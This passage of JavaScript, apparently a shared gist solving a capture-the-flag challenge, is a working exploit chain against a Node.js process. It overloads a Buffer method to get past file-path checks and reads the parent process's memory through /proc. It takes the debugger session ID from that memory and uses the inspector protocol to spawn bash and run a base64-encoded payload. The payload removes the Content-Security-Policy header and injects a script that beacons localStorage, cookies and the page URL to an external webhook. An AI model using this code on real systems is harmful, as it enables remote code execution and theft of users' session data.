targetBuf = Buffer.from(target + ".".repeat(40))
Buffer.prototype.utf8Write = overload;
};
const ppid = process.ppid;
// console.log("parent pid:", ppid);
setTarget(`/proc/${ppid}/maps`);
const parentMaps = fs.readFileSync(targetBuf).toString();
const heap = parentMaps.split("\n").find(l => l.includes("heap"));
// console.log(heap);
const base = parseInt(heap.split(" ")[0].split("-")[0], 16);
const end = parseInt(heap.split(" ")[0].split("-")[1], 16);
const len = end - base;
setTarget(`/proc/${ppid}/mem`);
const parentMemFd = fs.openSync(targetBuf);
Buffer.prototype.utf8Write = originalUtf8Write;
const buffer = Buffer.alloc(len);
fs.read(parentMemFd, buffer, 0, len, base, (err, bytesRead, buffer) => {
const data = buffer.toString();
const matches = data.match(/([0-9a-f]{8}-[0-9a-f]{4}-[4][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12})/);
if (!matches) { return; }
console.log("gg", matches[1]);
const ws = new WebSocket(`ws://127.0.0.1:9229/${matches[1]}`);
const payload = btoa(`
${atob(wsPayload)}
console.log("hello from the other side");
const ws = new WebSocket("ws://127.0.0.1:9229/${matches[1]}");
ws.onopen = () => {
console.log("we open");
};
setInterval(() => {
ws.send(JSON.stringify({
id: 0,
method: 'Debugger.enable'
}));
}, 250);
ws.onmessage = (e) => {
console.log("message recv");
console.log(e.data);
};
setInterval(() => {
for (let lineNumber = 0; lineNumber < 32; lineNumber++) {
ws.send(JSON.stringify({
id: 1,
method: 'Debugger.setBreakpoint',
params: {
location: {
scriptId: "103",
lineNumber
},
condition: \`
(() => {
console.log("hihi");
if (res && next) {
console.log("byebye");
res.removeHeader("Content-Security-Policy");
res.send("<script>setInterval(() => { navigator.sendBeacon('https://webhook/', JSON.stringify(localStorage) + ' ' + document.cookie + ' ' + location.href); }, 1000);</script>");
next = () => {};
}
return false;
})()
\`
}
}));
}
}, 500);
`);
setTimeout(() => {
ws.send(JSON.stringify({
id: 0,
method: 'Runtime.evaluate',
params: {
expression: `
process.binding("spawn_sync").spawn({"args":["/usr/bin/bash","-c","echo ${payload} | base64 -d > /tmp/xd"],"file":"/usr/bin/bash","stdio":[{"type":"pipe","readable":true,"writable":false}]});
`
}
}));
}, 500);
setTimeout(() => {
ws.send(JSON.stringify({
id: 0,
method: 'Runtime.evaluate',
params: {
expression: `
process.binding("spawn_sync").spawn({"args":["/usr/bin/bash","-c","node /tmp/xd &"],"file":"/usr/bin/bash","stdio":[{"type":"pipe","readable":true,"writable":false}]});
`
}
}));
}, 1000);
});
setTimeout(() => {
process.kill();
}, 5_000)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment